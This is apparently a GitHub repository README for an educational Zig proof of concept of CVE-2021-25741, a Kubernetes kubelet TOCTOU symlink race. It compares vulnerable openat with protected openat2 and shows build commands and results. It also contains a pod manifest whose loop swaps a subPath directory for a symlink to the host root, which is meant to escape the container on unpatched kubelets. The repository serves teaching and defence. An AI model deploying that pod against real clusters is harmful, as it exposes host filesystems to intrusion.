Glutenfree69/ZigRaceExploit

GitHub: Glutenfree69/ZigRaceExploit

使用 Zig 语言实现的 CVE-2021-25741 TOCTOU 竞态条件漏洞 POC,通过符号链接交换演示 Kubernetes kubelet 的路径检查漏洞及 openat2 修复方案。

Stars: 0 | Forks: 0

# CVE-2021-25741 — TOCTOU 符号链接竞态利用 (Zig 实现) 这是一个针对 TOCTOU(检查时间,使用时间)竞态条件的教育性利用代码,该漏洞是 [CVE-2021-25741](https://github.com/kubernetes/kubernetes/issues/104980) 的根源,即 Kubernetes kubelet 中的一个漏洞。 该项目在本地演示(无需 K8s 集群)如何通过并发符号链接交换来绕过 `lstat()` 和 `open()` 之间的路径检查,并证明带有 `RESOLVE_*` 标志的 `openat2()` 是解决方案。 ## 目录 - [问题所在](#le-problème) - [利用原理](#comment-fonctionne-lexploit) - [代码架构](#architecture-du-code) - [前置条件](#prérequis) - [构建](#build) - [使用说明](#utilisation) - [使用 Docker 进行本地测试](#test-en-local-avec-docker) - [openat 与 openat2 对比](#comparaison-openat-vs-openat2) - [调整 TOCTOU 延迟](#jouer-avec-le-délai-toctou) - [在真实的 Kubernetes 节点上测试](#test-sur-un-vrai-node-kubernetes) - [预期结果](#résultats-attendus) - [代码解析](#explication-du-code) - [使用的 Linux Syscalls](#syscalls-linux-utilisés) - [使用 strace 调试](#debug-avec-strace) - [参考资料](#références) ## 问题所在 ### Linux 下的路径解析 当 kernel 解析像 `/a/b/c/file` 这样的路径时,它是**逐个组件**进行的。在每一步,如果组件是符号链接,kernel 会自动跟随它。这种解析**不是原子性的** —— 文件系统可能在两个步骤之间发生变化。 ### kubelet 中的 TOCTOU Kubernetes 的 kubelet 过去正是执行这种易受攻击的模式: ``` 1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe" ↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink 2. USE : mount(subPath) → suit le symlink, monte le filesystem host ``` 在检查和挂载之间,容器内的恶意进程可以将 `subPath` 替换为指向 host 根目录 `/` 的符号链接,从而获得对 host 文件系统的完全访问权限。 ### 修复方案:openat2(2) 系统调用 `openat2` (kernel 5.6+) 以原子方式解析路径**并**打开文件,且带有约束: | Flag | 效果 | |------|-------| | `RESOLVE_NO_SYMLINKS` | 拒绝跟随任何符号链接 → 返回 `ELOOP` | | `RESOLVE_BENEATH` | 拒绝逃逸出基础目录 → 返回 `EXDEV` | | `RESOLVE_IN_ROOT` | 将 dirfd 视为文件系统的根 | | `RESOLVE_NO_XDEV` | 拒绝穿越挂载点 | 使用 `openat2`,**不存在 TOCTOU 窗口**:如果在解析过程中出现符号链接,系统调用会立即失败。 ## 利用原理 两个线程协作利用 TOCTOU 窗口: ``` workdir/ ├── legit_dir/ │ └── secret.txt → contient "LEGIT" ├── symlink_target/ │ └── secret.txt → contient "PWNED" └── target/ → swappé entre vrai dir et symlink ``` ### Racer 线程 以极快的速度循环运行,并通过 `renameat2(RENAME_EXCHANGE)` 在两种状态间原子性地交换 `target/`: - **状态 A**:`target/` 是一个真正的目录(包含 `secret.txt` = "LEGIT") - **状态 B**:`target/` 是一个指向 `symlink_target/` 的符号链接(包含 `secret.txt` = "PWNED") 每次交换仅需一个系统调用 = 最大化竞态窗口。 ### Victim 线程(模拟 kubelet) 复现 kubelet 的易受攻击模式: 1. `fstatat("target", AT_SYMLINK_NOFOLLOW)` — 检查它是否是一个目录 2. 可选的暂停(模拟 kubelet 在检查和使用之间的延迟) 3. `openat(dirfd, "target/secret.txt", O_RDONLY)` — 打开文件 4. `read()` — 读取内容 5. 如果内容 == `"PWNED"` → **竞态成功**(符号链接被跟随了) 6. 如果内容 == `"LEGIT"` → 竞态失败(确实是真正的目录) 在受保护模式(`--use-openat2`)下,步骤 3 使用带有 `RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH` 的 `openat2`。如果存在符号链接,kernel 将返回 `ELOOP` 而不是跟随它。 ## 代码架构 ``` src/ ├── main.zig # Point d'entrée : parse CLI, crée le shared state, spawn les │ # threads, mesure le temps, affiche les résultats │ ├── racer.zig # Thread racer : prépare l'état initial (target → symlink), │ # puis boucle sur renameat2(RENAME_EXCHANGE) pour swapper │ # target/ et legit_dir/ en continu │ ├── victim.zig # Thread victim : boucle N itérations de fstatat → delay → │ # openat/openat2 → read → compare "LEGIT" vs "PWNED" │ ├── setup.zig # Crée l'arborescence de test : workdir/, legit_dir/, │ # symlink_target/, target/ avec les fichiers sentinel │ ├── syscalls.zig # Constantes et wrappers pour les syscalls raw : │ # - open_how struct (kernel UAPI, 3×u64) │ # - RESOLVE_* flags │ # - RENAME_EXCHANGE (= 2) │ # - openat2() via linux.syscall4(.openat2, ...) │ # - rename_exchange() via linux.renameat2() │ # - Helpers : is_err(), to_errno(), to_fd() │ └── stats.zig # Compteurs atomiques lock-free (std.atomic.Value(u64)) # pour wins, losses, errors, eloop + affichage formaté ``` 所有系统调用都直接通过 `std.os.linux.*` 调用(没有使用 `std.fs` 或 `std.posix` 包装器)。在 Zig 0.15 标准库中,唯一没有包装器的系统调用是 `openat2`,我们通过 `linux.syscall4(.openat2, ...)` 调用它,并使用从 kernel UAPI 头文件手动定义的 `open_how` 结构体。 ## 前置条件 | 工具 | 版本 | 用途 | |-------|---------|----------| | **Zig** | 0.15.x | 编译器 + 交叉编译 | | **Docker** | 任意 | 在 Mac 上运行 Linux 二进制文件 | | **colima** | 任意 | macOS 上的 Docker 运行时(或 Docker Desktop)| 二进制文件是**静态编译**的(musl libc),可以在没有任何依赖的情况下在任何 Linux 上运行。 最低 Kernel 版本: - **3.15+** 用于 `renameat2(RENAME_EXCHANGE)` - **5.6+** 用于带有 `RESOLVE_*` 的 `openat2`(仅在 `--use-openat2` 时需要) Mac 上的 Docker Desktop 和 colima 使用 6.x kernel —— 支持所有功能。 ## 构建 ### Mac → Linux 交叉编译 ``` # ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM) zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe # x86_64 (针对 x86 节点) zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe ``` 二进制文件位于 `zig-out/bin/race-exploit`。 ``` $ file zig-out/bin/race-exploit ELF 64-bit LSB executable, ARM aarch64, statically linked ``` ## 使用说明 ### 使用 Docker 进行本地测试 ``` # 启动 Docker runtime (如果是 macOS) colima start # 运行 exploit (默认为 vulnerable 模式) docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000 ``` ### openat 与 openat2 对比 ``` # Vulnerable 模式 (openat) — race 成功 docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ /app/race-exploit --iterations 10000 # Protected 模式 (openat2) — race 被阻塞 docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ /app/race-exploit --iterations 10000 --use-openat2 ``` 或者使用脚本同时运行两者: ``` ./scripts/run_in_docker.sh --iterations 10000 ``` ### 调整 TOCTOU 延迟 参数 `--delay-us` 在 `lstat`(检查)和 `openat`(使用)之间添加延迟。延迟越长,TOCTOU 窗口越宽,成功率越高: ``` # 无延迟 — win rate ~25% docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ /app/race-exploit --iterations 50000 # 10µs — win rate ~35% docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ /app/race-exploit --iterations 50000 --delay-us 10 # 100µs — win rate ~50% docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ /app/race-exploit --iterations 50000 --delay-us 100 # 1000µs (1ms) — win rate ~50% (已达上限,racer swap 速度更快) docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ /app/race-exploit --iterations 10000 --delay-us 1000 ``` 在真实的 kubelet 中,subPath 验证和 bind mount 之间的延迟在**几毫秒**级别(API 调用、准备 mount namespace 等),这使得在真实条件下竞态非常可靠。 ### 完整 CLI 选项 ``` race-exploit [options] --iterations N Nombre de tentatives (défaut: 10000) --delay-us N Microsecondes entre lstat et open (défaut: 0) --use-openat2 Utiliser openat2 avec RESOLVE_* (mode protégé) --workdir PATH Répertoire de travail (défaut: /tmp/race-workdir) --help Afficher l'aide ``` ### 在真实的 Kubernetes 节点上测试 该利用不需要 Kubernetes 即可运行 —— 这是一个基础的 Linux 竞态条件。但你可以在真实节点上启动它,以在与 kubelet 相同的条件下进行测试。 #### 选项 1:直接在节点上执行 ``` # 针对 node 架构进行 cross-compiler # ARM64 (EKS 使用 Graviton, GKE 使用 T2A 等) zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe # 或 x86_64 zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe # 将 binary 复制到 node scp zig-out/bin/race-exploit user@node:/tmp/ # 在 node 上运行 ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100 # 检查 kernel 版本 (openat2 需要 >= 5.6) ssh user@node uname -r ``` #### 选项 2:从 Kubernetes pod 启动 创建一个包含二进制文件并执行它的 pod: ``` # race-pod.yaml apiVersion: v1 kind: Pod metadata: name: race-exploit spec: containers: - name: race image: alpine:latest command: ["/app/race-exploit"] args: ["--iterations", "50000", "--delay-us", "100"] volumeMounts: - name: exploit-bin mountPath: /app volumes: - name: exploit-bin hostPath: path: /tmp # le binaire doit être copié ici au préalable restartPolicy: Never ``` ``` # 先将 binary 复制到 node kubectl cp zig-out/bin/race-exploit :/tmp/race-exploit # 启动 pod kubectl apply -f race-pod.yaml kubectl logs race-exploit ``` #### 选项 3:使用 subPath 复现真实的 CVE 要复现 CVE-2021-25741 的确切场景,需要在 kubelet 准备带有 `subPath` 的卷 bind mount 时利用竞态: ``` # vulnerable-pod.yaml apiVersion: v1 kind: Pod metadata: name: subpath-race spec: containers: - name: attacker image: alpine:latest command: ["/bin/sh", "-c"] args: - | # Ce script tourne dans le container et swap le subPath # pendant que le kubelet prépare le mount while true; do rm -rf /vol/subdir ln -s / /vol/subdir mkdir -p /vol/subdir done volumeMounts: - name: shared-vol mountPath: /vol subPath: subdir # ← le kubelet vérifie puis monte ce chemin volumes: - name: shared-vol emptyDir: {} ``` **重要**:此攻击仅适用于**未打补丁**的 kubelet(版本 < 1.22.2, < 1.21.5, < 1.20.11)。最新的 kubelet 使用带有 `RESOLVE_NO_SYMLINKS` 的 `openat2` 来解析 subPath。 要检查你的 kubelet 是否易受攻击: ``` # Kubelet 版本 kubectl get nodes -o wide # 检查 Kubelet 是否使用 openat2 (在 node 上) ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20 ``` ## 预期结果 ### openat(易受攻击) ``` CVE-2021-25741 TOCTOU Race Exploit =================================== Mode: openat (vulnerable) Iterations: 10000 Delay: 0us --- Results: Total attempts: 3749 Race wins: 940 (25.07%) Race losses: 2809 (74.93%) Errors: 0 (0.00%) Duration: 14ms ``` ### openat2(受保护) ``` CVE-2021-25741 TOCTOU Race Exploit =================================== Mode: openat2 (protected) Iterations: 10000 Delay: 0us --- Results: Total attempts: 3105 Race wins: 0 (0.00%) Race losses: 2283 (73.53%) Errors: 0 (0.00%) ELOOP (blocked): 822 (26.47%) Duration: 12ms ``` **关键观察:** - "total attempts" 低于请求的迭代次数,因为许多循环轮次被跳过(`lstat` 看到符号链接而不尝试打开) - 在 `openat` 模式下,约 25% 的尝试导致成功(读取到 "PWNED" 文件) - 在 `openat2` 模式下,**0% 成功率** —— racer 交换的每一次尝试都被 kernel 检测到并返回 `ELOOP` - ELOOP 的数量与 openat 模式下的成功次数完全对应:百分比相同,但被阻止了 ## 代码解析 ### syscalls.zig —— 基础模块 该文件定义了 Zig 0.15 标准库中缺失的常量: ``` // renameat2(2) : swap atomique de deux entrées filesystem pub const RENAME_EXCHANGE: u32 = 2; // openat2(2) : struct passée au syscall pub const open_how = extern struct { flags: u64 = 0, // O_RDONLY, O_WRONLY, etc. mode: u64 = 0, // permissions (si O_CREAT) resolve: u64 = 0, // RESOLVE_* flags }; // Flags de résolution pour open_how.resolve pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse tout symlink pub const RESOLVE_BENEATH: u64 = 0x08; // interdit de remonter au-dessus du dirfd ``` `openat2` 通过 `linux.syscall4(.openat2, ...)` 调用,因为 Zig 0.15 有系统调用号但没有包装器。 ### racer.zig —— 攻击线程 启动时,它将 `target/` 转换为指向 `symlink_target/` 的符号链接,然后循环执行两个 `renameat2(RENAME_EXCHANGE)` 来交换 `target` 和 `legit_dir`: ``` Itération 1: target=dir, legit_dir=symlink ← victim voit un dir, ouvre normalement Itération 2: target=symlink, legit_dir=dir ← victim suit le symlink → PWNED ``` ### victim.zig —— kubelet 线程 复现 `lstat` → delay → `openat`/`openat2` → `read` → compare。结果在无锁原子计数器中统计(使用 `.monotonic` 排序的 `fetchAdd`)。 ### setup.zig —— 测试结构 通过原始系统调用使用 `mkdirat`、`openat(O_CREAT)` 和 `write` 创建目录树。两个哨兵文件:真实目录中的 `"LEGIT"`,符号链接目标中的 `"PWNED"`。 ## 使用的 Linux Syscalls | Syscall | 在利用中的角色 | Zig Wrapper | |---------|---------------------|-------------| | `renameat2(RENAME_EXCHANGE)` | target ↔ legit_dir 原子交换 | `linux.renameat2()` | | `fstatat(AT_SYMLINK_NOFOLLOW)` | lstat:检查 target 是目录还是符号链接 | `linux.fstatat()` | | `openat(O_RDONLY)` | 跟随符号链接打开文件(易受攻击)| `linux.openat()` | | `openat2(RESOLVE_NO_SYMLINKS)` | 拒绝符号链接打开文件(修复方案)| `linux.syscall4(.openat2, ...)` | | `symlinkat` | 创建初始符号链接 target → symlink_target | `linux.symlinkat()` | | `unlinkat` | 删除 target 以便将其重新创建为符号链接 | `linux.unlinkat()` | | `mkdirat` | 创建测试目录 | `linux.mkdirat()` | | `read` / `write` / `close` | 对哨兵文件进行 IO | `linux.read()` / `linux.write()` / `linux.close()` | ## 使用 strace 调试 ``` # Tracer 两个 thread 的所有 syscall docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ strace -f /app/race-exploit --iterations 100 # 过滤感兴趣的 syscall docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ strace -f -e trace=openat,renameat2,symlinkat,newfstatat \ /app/race-exploit --iterations 100 # 查看 openat2 的 ELOOP docker run --rm -v $(pwd)/zig-out/bin:/app alpine \ strace -f -e trace=openat2 \ /app/race-exploit --iterations 100 --use-openat2 ``` 注意:`strace` 默认未安装在 Alpine 中。使用 `alpine:edge` 或通过 `apk add strace` 安装: ``` docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \ sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100" ``` ## 参考资料 - [CVE-2021-25741 — Kubernetes Issue #104980](https://github.com/kubernetes/kubernetes/issues/104980) - [Google Security Blog — Exploring Container Security: Storage](https://security.googleblog.com/2021/12/exploring-container-security-storage.html) - [man 2 openat2](https://man7.org/linux/man-pages/man2/openat2.2.html) — 修复方案 - [man 2 renameat2](https://man7.org/linux/man-pages/man2/renameat2.2.html) — 原子交换 - [man 2 fstatat](https://man7.org/linux/man-pages/man2/fstatat.2.html) — 不跟随符号链接的 lstat - [Symlinks and path resolution — Star Lab](https://www.starlab.io/blog/linux-symbolic-links-convenient-useful-and-a-whole-lot-of-trouble) # ZigRaceExploit
标签:CVE-2021-25741, Docker, Hpfeeds, Kubelet, Linux内核, lstat, openat2, POC, strace, Syscall, TOCTOU, Web开发, Web截图, Web报告查看器, Zig, 子域名突变, 安全防御评估, 容器安全, 提权, 教育性演示, 本地提权, 竞态条件, 符号链接交换, 系统调用, 请求拦截, 路径遍历